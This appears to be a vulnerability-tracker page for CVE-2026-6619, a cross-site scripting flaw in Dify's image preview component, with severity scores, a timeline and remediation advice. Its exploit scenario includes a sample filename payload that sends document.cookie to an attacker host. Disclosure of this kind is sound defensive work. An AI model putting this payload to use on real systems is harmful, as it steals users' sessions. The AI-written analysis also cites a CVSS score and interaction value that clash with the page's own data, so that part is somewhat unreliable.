Skip to main content

Dify CVE-2026-6619

| EUVD-2026-23809 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulDB
XSS Dify
2.0
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

9
Severity Changed
Apr 29, 2026 - 01:12 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:12 NVD
5.1 (MEDIUM) 2.0 (LOW)
PoC Detected
Apr 29, 2026 - 01:00 vuln.today
Public exploit code
Severity Changed
Apr 20, 2026 - 09:37 NVD
LOW MEDIUM
CVSS changed
Apr 20, 2026 - 09:37 NVD
3.5 (LOW) 5.1 (MEDIUM)
Analysis Generated
Apr 20, 2026 - 08:57 vuln.today
EUVD ID Assigned
Apr 20, 2026 - 08:45 euvd
EUVD-2026-23809
Analysis Generated
Apr 20, 2026 - 08:45 vuln.today
CVE Published
Apr 20, 2026 - 08:00 nvd
LOW 2.0

DescriptionCVE.org

A vulnerability has been found in langgenius dify up to 1.13.3. Impacted is the function openInNewTab of the file web/app/components/base/image-uploader/image-preview.tsx of the component ImagePreview. The manipulation of the argument filename leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

Cross-site scripting in Dify's ImagePreview component (web/app/components/base/image-uploader/image-preview.tsx) allows authenticated users to inject malicious scripts via the filename argument in the openInNewTab function, affecting versions up to 1.13.3. The vulnerability requires user interaction (UI:R) and authenticated access (PR:L), limiting impact to low integrity compromise with no confidentiality or availability impact. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to Dify platform
Delivery
Craft malicious filename with XSS payload
Exploit
Upload image with crafted name
Execution
Trigger openInNewTab action
Persist
Malicious script executes in victim's session
Impact
Steal credentials or manipulate application state
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated user account (PR:L) with permission to upload images to Dify's image uploader component. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This vulnerability presents a moderate but contained real-world risk despite its low CVSS score (3.5). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated user uploads an image to a Dify application (e.g., a knowledge base document or prompt builder asset) with a crafted filename containing JavaScript (e.g., 'image<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">.png'). When another user or the same user clicks 'Open in New Tab' or hovers over the image preview (depending on when openInNewTab is triggered), the malicious script executes in their browser context, exfiltrating session cookies, OAuth tokens, or prompts being developed. …
Remediation Upgrade Dify to a version released after the vendor's response to this disclosure; exact patched version not confirmed from available data - check the Dify GitHub repository (https://github.com/langgenius/dify) for releases dated after the CVE publication or review pull requests addressing CWE-79 in the ImagePreview component. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-6619 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy